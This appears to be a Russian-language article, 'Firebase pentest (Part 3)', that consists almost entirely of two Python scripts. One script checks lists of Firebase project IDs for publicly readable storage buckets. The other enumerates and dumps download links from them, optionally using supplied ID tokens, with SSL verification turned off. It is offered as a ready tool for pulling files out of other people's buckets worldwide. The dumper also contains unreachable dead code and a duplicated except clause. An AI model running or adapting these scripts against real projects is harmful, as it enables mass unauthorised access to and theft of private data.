Firebase пентест (Часть 3): Ломаем Firebase бакеты по всему миру и вытаскиваем с них файлы

from __future__ import annotations
import argparse
import os
import sys
import time
import re
from urllib.parse import quote
from typing import Optional, Dict, Set, List, Tuple

import requests
from requests import Session
from requests.exceptions import SSLError, RequestException
from colorama import init as colorama_init, Fore, Style
from urllib3.exceptions import InsecureRequestWarning

colorama_init(autoreset=True)

# конфиги
TIMEOUT_SEC = 20
SSL_VERIFY = False
PAGE_SLEEP = 0.15
MAX_PAGES = 10000
MAX_FILENAME_LEN = 200


def err(msg: str, color=Fore.RED) -> None:
    # вывод ошибки в stderr
    print(f"{color}{msg}{Style.RESET_ALL}", file=sys.stderr)


def info(msg: str) -> None:
    # нейтральный лог
    print(f"{Fore.CYAN}[+]{Style.RESET_ALL} {msg}")


def ok(msg: str) -> None:
    # успех
    print(f"{Fore.GREEN}[OK]{Style.RESET_ALL} {msg}")


def warn(msg: str) -> None:
    # предупреждение
    print(f"{Fore.YELLOW}[!]{Style.RESET_ALL} {msg}")


def looks_like_token_file(path: str) -> bool:
    # быстрый чек: есть ли в файле строки с ':'
    try:
        with open(path, 'r', encoding='utf-8') as f:
            for line in f:
                s = line.strip()
                if not s:
                    continue
                if ':' in s:
                    return True
        return False
    except Exception:
        return False


def read_lines(path: str) -> List[str]:
    # читаем ненулевые строки, пропускаем комменты
    with open(path, 'r', encoding='utf-8') as f:
        return [line.strip() for line in f if line.strip() and not line.strip().startswith('#')]


def load_tokens_from_file(path: Optional[str]) -> Dict[str, str]:
    # парсим файл вида projectId:apiKey:idToken -> сохраняем projectId:idToken
    tokens: Dict[str, str] = {}
    if not path:
        return tokens
    for line in read_lines(path):
        parts = line.split(':')
        if len(parts) < 3:
            continue
        proj = parts[0]
        token = ':'.join(parts[2:])
        tokens[proj] = token
    return tokens


def ensure_dir(path: str) -> None:
    os.makedirs(path, exist_ok=True)


def sanitize_name(name: str) -> str:
    # заменяем плохие символы на '_' и подрезаем
    safe = re.sub(r'[^A-Za-z0-9._-]', '_', name)
    if len(safe) > MAX_FILENAME_LEN:
        safe = safe[:MAX_FILENAME_LEN]
    return safe


def build_download_url(bucket: str, name: str) -> str:
    enc = quote(name, safe='')
    return f"https://firebasestorage.googleapis.com/v0/b/{bucket}/o/{enc}?alt=media"


def get_with_ssl_fallback(sess: Session, url: str, hdrs: dict, params: Optional[dict]) -> Optional[requests.Response]:
    # запрос сразу без проверки SSL
    try:
        requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
        return sess.get(url, headers=hdrs, params=params, timeout=TIMEOUT_SEC, verify=SSL_VERIFY)
    except RequestException as e:
        err(f"Request error for {url}: {e}")
        return None
        warn("Retrying with verify=False (unsafe).")
        requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
        try:
            return sess.get(url, headers=hdrs, params=params, timeout=TIMEOUT_SEC, verify=False)
        except RequestException as e2:
            err(f"Retry with verify=False failed: {e2}")
            return None
    except RequestException as e:
        err(f"Request error for {url}: {e}")
        return None


def split_project_line(line: str) -> Tuple[str, Optional[str]]:
    # "project:apiKey:idToken" -> (project, idToken)
    parts = line.split(':')
    if len(parts) >= 3:
        proj = parts[0]
        id_token = ':'.join(parts[2:])
        return proj, id_token
    else:
        return parts[0], None


def dump_listing(base_url: str, hdrs: dict, out_file: str, proj: str) -> int:
    # листаем страницу за страницей, пишем ссылки в файл
    sess = requests.Session()
    total = 0

    base = base_url.rstrip('/')
    if not base.endswith('/o'):
        base = base + '/o'

    page_token: Optional[str] = None
    seen_tokens: Set[str] = set()
    page_num = 0

    while True:
        page_num += 1
        if page_num > MAX_PAGES:
            warn(f"[{proj}] reached max pages ({MAX_PAGES}). Breaking.")
            break

        params = {'pageToken': page_token} if page_token else None
        req_descr = f"{base}?pageToken={page_token}" if page_token else base
        info(f"[{proj}] requesting page #{page_num}: {req_descr}")

        resp = get_with_ssl_fallback(sess, base, hdrs, params)
        if resp is None:
            err(f"[{proj}] page #{page_num} request failed. Skipping this base URL.")
            return total

        if resp.status_code != 200:
            err(f"[{proj}] HTTP {resp.status_code} for {resp.url}")
            snippet = (resp.text[:400] + '...') if len(resp.text) > 400 else resp.text
            err(snippet, color=Fore.YELLOW)
            return total

        try:
            data = resp.json()
        except ValueError:
            err(f"[{proj}] failed to parse JSON from {resp.url}")
            return total

        items = data.get('items') or data.get('files') or []
        wrote = 0
        if items:
            with open(out_file, 'a', encoding='utf-8') as outf:
                for it in items:
                    name = it.get('name')
                    bucket = it.get('bucket') or it.get('bucketId') or ''
                    if not name or not bucket:
                        continue
                    link = build_download_url(bucket, name)
                    outf.write(link + "\n")
                    wrote += 1
                    total += 1

        info(f"[{proj}] page #{page_num}: wrote {wrote} links")

        next_tok = data.get('nextPageToken')
        if next_tok:
            info(f"[{proj}] [TOKEN] {next_tok}")
            if next_tok in seen_tokens:
                warn(f"[{proj}] token {next_tok} was already seen -> possible loop, stopping pagination.")
                break
            seen_tokens.add(next_tok)
            page_token = next_tok
            time.sleep(PAGE_SLEEP)
            continue
        else:
            info(f"[{proj}] no nextPageToken -> pagination finished.")
            break

    return total


def run_scan(projects_file: Optional[str], tokens_file: Optional[str], output_dir: str) -> None:
    # собираем токены
    tokens_by_project = load_tokens_from_file(tokens_file) if tokens_file else {}

    # если файл проектов не задан, но указан tokens_file — проверяем
    if not projects_file and tokens_file and os.path.isfile(tokens_file):
        if looks_like_token_file(tokens_file):
            err("Provided -lpt looks like a token file and no -lpid given. Provide -lpid separately (or pass a projectId list).")
            sys.exit(1)
        else:
            info(f"Detected {tokens_file} as projectId list -> using it as -lpid.")
            projects_file = tokens_file
            tokens_file = None

    if not projects_file:
        err("No projectId file specified. Use -lpid <file_with_projectIds>.")
        sys.exit(1)

    raw_lines = read_lines(projects_file)

    projects: List[str] = []
    for ln in raw_lines:
        if ':' in ln:
            proj, maybe_token = split_project_line(ln)
            projects.append(proj)
            if maybe_token and proj not in tokens_by_project:
                tokens_by_project[proj] = maybe_token
                info(f"Auto-registered token for project {proj} from {projects_file}")
        else:
            projects.append(ln)

    ensure_dir(output_dir)

    info(f"Loaded {len(projects)} projectId from {projects_file}.")
    info(f"Loaded {len(tokens_by_project)} tokens (including auto-registered).")

    for proj in projects:
        info(f"--- Processing projectId: {proj} ---")
        safe_name = sanitize_name(proj)
        out_file = os.path.join(output_dir, f"{safe_name}.txt")
        # чистим старый файл
        open(out_file, 'w', encoding='utf-8').close()

        id_token = tokens_by_project.get(proj)
        headers = {}
        if id_token:
            headers['Authorization'] = f"Bearer {id_token}"
            info(f"Using Authorization header for {proj}.")

        bases = [
            f"https://firebasestorage.googleapis.com/v0/b/{proj}.firebasestorage.app/o",
            f"https://firebasestorage.googleapis.com/v0/b/{proj}.appspot.com/o",
        ]

        total_links = 0
        for base in bases:
            info(f"Base request: {base}")
            got = dump_listing(base, headers, out_file, proj)
            total_links += got
            if got > 0:
                ok(f"[{proj}] found and wrote {got} links from {base}.")
            else:
                info(f"[{proj}] nothing found at {base} or error occurred.")

        ok(f"[{proj}] total links: {total_links}. File: {out_file}")


def parse_args():
    p = argparse.ArgumentParser(description='LIMB.cc')
    p.add_argument('-lpid', required=False, help='file with lines projectId:apiKey:idToken')
    p.add_argument('-lpt', required=False, help='file with projectIds (one per line)')
    p.add_argument('-od', required=True, help='output directory for results')
    return p.parse_args()


def main():
    args = parse_args()

    if not args.lpid and not args.lpt:
        err("Neither -lpid nor -lpt provided. Provide -lpid <projects.txt> at minimum.")
        sys.exit(1)

    try:
        run_scan(args.lpid, args.lpt, args.od)
    except KeyboardInterrupt:
        err("\nInterrupted by user")
        sys.exit(1)


if __name__ == '__main__':
    main()

import argparse
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
import requests
from colorama import init as colorama_init, Fore, Style

colorama_init(autoreset=True)

OPEN_FILE = "open.txt"
AUTH_FILE = "auth.txt"

# локи, чтобы потоки не писали в файлы одновременно
lock_open = threading.Lock()
lock_auth = threading.Lock()

# одна сессия на все запросы, так быстрее
http = requests.Session()
http.headers.update({"User-Agent": "FirebaseChecker"})

def read_list(path):
    # читаем файл, выкидываем мусор и комменты
    result = []
    with open(path, "r", encoding="utf-8", errors="ignore") as f:
        for line in f:
            line = line.strip()
            if not line or line.startswith("#"):
                continue
            result.append(line)
    return result

def save_line(filename, text, lock):
    # обычный append, но безопасно для потоков
    with lock:
        with open(filename, "a", encoding="utf-8") as f:
            f.write(text + "\n")

def check_project(project_id, original_line):
    # два стандартных storage endpoint'а firebase
    urls = (
        f"https://firebasestorage.googleapis.com/v0/b/{project_id}.firebasestorage.app/o",
        f"https://firebasestorage.googleapis.com/v0/b/{project_id}.appspot.com/o",
    )

    has_200 = False
    has_403 = False
    last_status = None

    for url in urls:
        try:
            r = http.get(url, timeout=10)
            last_status = r.status_code

            if r.status_code == 200:
                has_200 = True
                break  # 200 нашли — дальше смысла нет
            if r.status_code == 403:
                has_403 = True

        except requests.RequestException as e:
            return "error", f"{project_id} ошибка запроса: {e}"

    if has_200:
        save_line(OPEN_FILE, original_line, lock_open)
        return "open", f"{project_id} -> 200"

    if has_403:
        save_line(AUTH_FILE, original_line, lock_auth)
        return "auth", f"{project_id} -> 403"

    return "other", f"{project_id} -> {last_status}"

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-fpid", help="файл с projectId (1 строка = 1 id)")
    parser.add_argument("-fpa", help="файл projectId:apiKey:idToken")
    parser.add_argument("-t", type=int, default=10, help="кол-во потоков")
    args = parser.parse_args()

    if not args.fpid and not args.fpa:
        print(f"{Fore.RED}Нужен -fpid или -fpa{Style.RESET_ALL}")
        return

    tasks = []  # (project_id, строка для сохранения)

    if args.fpid:
        for pid in read_list(args.fpid):
            tasks.append((pid, pid))

    if args.fpa:
        for line in read_list(args.fpa):
            # берем только projectId, остальное не трогаем
            project_id = line.split(":", 1)[0]
            if project_id:
                tasks.append((project_id, line))

    print(f"{Fore.CYAN}[*] Всего проектов: {len(tasks)} | Потоков: {args.t}{Style.RESET_ALL}")

    done = 0
    with ThreadPoolExecutor(max_workers=args.t) as pool:
        futures = {pool.submit(check_project, pid, line): pid for pid, line in tasks}

        for future in as_completed(futures):
            done += 1
            try:
                status, msg = future.result()

                if status == "open":
                    print(f"{Fore.GREEN}[OPEN] {msg}{Style.RESET_ALL}")
                elif status == "auth":
                    print(f"{Fore.YELLOW}[AUTH] {msg}{Style.RESET_ALL}")
                elif status == "other":
                    print(f"{Fore.MAGENTA}[SKIP] {msg}{Style.RESET_ALL}")
                else:
                    print(f"{Fore.RED}[ERR] {msg}{Style.RESET_ALL}")

            except Exception as e:
                print(f"{Fore.RED}[EXC] {e}{Style.RESET_ALL}")

    print(
        f"{Fore.CYAN}[*] Готово: {done}/{len(tasks)} | "
        f"open.txt = 200 | auth.txt = 403{Style.RESET_ALL}"
    )

if __name__ == "__main__":
    main()